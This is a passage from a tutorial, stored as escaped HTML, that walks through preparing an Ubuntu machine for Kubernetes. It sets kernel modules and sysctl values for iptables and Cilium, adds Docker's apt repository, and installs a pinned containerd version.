#6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow that our system is setup, we can move on to getting a container runtime.\u003c/p\u003e\n\u003ch2\u003eGetting your Container Runtime!\u003c/h2\u003e\n\u003cp\u003eBefore we start pulling in kubernetes components we need to get a container runtime setup on the\nmachine.   We we are going to use containerd for this purpose.  You can view the docs of for it\n\u003ca href=\"https://github.com/containerd/containerd/blob/main/docs/getting-started.md\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eWhich will download the latest binary and set it up.   I’m going to walk you through how to do it\nusing the version packaged with Ubuntu which could be older than the latest release.\u003c/p\u003e\n\u003cp\u003eFirst thing we want to do is configure the networking to allow iptables to manage:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/modules-load.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003eoverlay\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee /etc/sysctl.d/k8s.conf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.bridge.bridge-nf-call-iptables  = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003enet.ipv4.ip_forward                 = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe also need to disable some default systemd settings for \u003ccode\u003erp_filter\u003c/code\u003e  because\nthey are not compatible with cilium. See the bug report\n\u003ca href=\"https://github.com/cilium/cilium/commit/cabc6581b8128681f4ed23f8d6dc463180eea61e\"\u003ehere\u003c/a\u003e\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esed\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-i\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'/net.ipv4.conf.*.rp_filter/d'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-ril\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e '\\.rp_filter' /etc/sysctl.d/ /usr/lib/sysctl.d/)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'\\.rp_filter'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eawk\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'{print $1\" = 0\"}'\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-a\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/sysctl.d/1000-cilium.conf\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we need to refresh sysctl so those settings are applied:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemd-modules-load\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esysctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--system\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou should see it applying all the changes:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e* Applying /etc/sysctl.d/k8s.conf ...\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-ip6tables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.bridge.bridge-nf-call-iptables = 1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.ip_forward = 1\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eIf you do not, the netfilter module may not have loaded properly:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elsmod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003egrep\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebr_netfilter\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e28672\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ebridge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e176128\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ebr_netfilter\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eYou want to make sure \u003ccode\u003erp_filter\u003c/code\u003e is \u003ccode\u003e0\u003c/code\u003e everywhere as well for cilium:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e❯ sudo sysctl -a | grep '\\.rp_filter'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.all.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_host.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_net.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.cilium_vxlan.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.default.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.enp0s1.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lo.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxc0965b7b545f7.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003enet.ipv4.conf.lxcb05ffd84ab74.rp_filter = 0\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow lets pull down the container runtime we’ll be using which is containerd.\u003c/p\u003e\n\u003cp\u003eUbuntu ships with a very old version of containerd so you need to upgrade to\nthe version shipped from the docker repos:\nYou can find which versions are available by running:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://download.docker.com/linux/ubuntu/gpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/docker.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb https://download.docker.com/linux/ubuntu $(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003elsb_release\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-cs\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e) stable\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-cache\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emadison\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.7-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.6-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.6.4-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.11-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e1.5.10-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ehttps://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejammy/stable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003earm64\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePackages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.io=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.6\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.8-1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThen we'll setup a configuration that enables containerd to use the systemd\ncgroup.  We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e sudo tee 